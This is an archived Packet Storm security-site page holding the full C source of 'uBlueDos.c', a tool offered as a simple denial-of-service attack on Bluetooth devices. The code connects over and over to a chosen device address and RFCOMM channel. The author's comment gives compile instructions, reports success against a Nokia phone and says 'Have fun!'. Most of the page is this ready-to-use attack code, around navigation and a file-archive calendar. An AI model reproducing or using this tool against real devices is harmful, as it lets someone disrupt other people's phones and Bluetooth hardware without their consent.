exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

uBlueDos.c

uBlueDos.c
Posted Mar 12, 2008
Authored by WarGame

Simple denial of service tool for Bluetooth.

tags | denial of service
SHA-256 | b3ede84361ce35da5b7589799061714cd9bfa7b2d59baae8d80291b00250bd31

uBlueDos.c

Change Mirror Download
/* This version let you set the interval in ms (1000ms = 1sec)
A simple tool to make DoS against bluetooth devices.
Compile it so: gcc uBlueDos.c -o uBlueDos -lbluetooth
I have tested this proggy against my nokia n70 and it seems to work.
Have fun!
Contact me at wargame89@yahoo.it or visit: http://vx.netlux.org/wargamevx
*/

#include <bluetooth/bluetooth.h>
#include <bluetooth/rfcomm.h>
#include <sys/socket.h>

/* make the real connection */
int BlueConnect(bdaddr_t *dst,short channel)
{
struct sockaddr_rc remote_addr, local_addr;
int sock;

if ((sock = socket(PF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM)) < 0)
{
printf("Error creating the bluetooth socket!\n");
return 0;
}

memset(&local_addr, 0, sizeof(local_addr));
local_addr.rc_family = AF_BLUETOOTH;
bacpy(&local_addr.rc_bdaddr, BDADDR_ANY);

if (bind(sock, (struct sockaddr *)&local_addr, sizeof(local_addr)) < 0)
{
printf("Error binding!\n");
close(sock);
return 0;
}

memset(&remote_addr, 0, sizeof(remote_addr));
remote_addr.rc_family = AF_BLUETOOTH;
bacpy(&remote_addr.rc_bdaddr, dst);
remote_addr.rc_channel = channel;

if (connect(sock, (struct sockaddr *)&remote_addr, sizeof(remote_addr)) < 0)
{
printf("Error connecting!\n");
/* Do not return */
}

else
{
printf("[* Done]\n");
}

close(sock); /* close the socket */

}

int main(int argc,char *argv[])
{
int dos_cnt,it;
bdaddr_t dst;
short channel = 1;

if(argc < 4)
{
printf("Usage: %s <bt_addr> <conn_num> <ms_sleep> <channel (optional, default = 1)>\n",argv[0]);
return 0;
}

str2ba(argv[1],&dst);
dos_cnt = abs(atoi(argv[2]));
it = abs(atoi(argv[3]));

if(argv[4] != NULL)
{
channel = abs(atoi(argv[4]));
}

printf("[bt_addr = %s,conn_num = %d,ms_sleep = %d,channel = %d]\n",argv[1],dos_cnt,it,channel);

for(;dos_cnt > 0;dos_cnt--)
{
BlueConnect(&dst,channel);
usleep(it);
}

return 1;
}


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close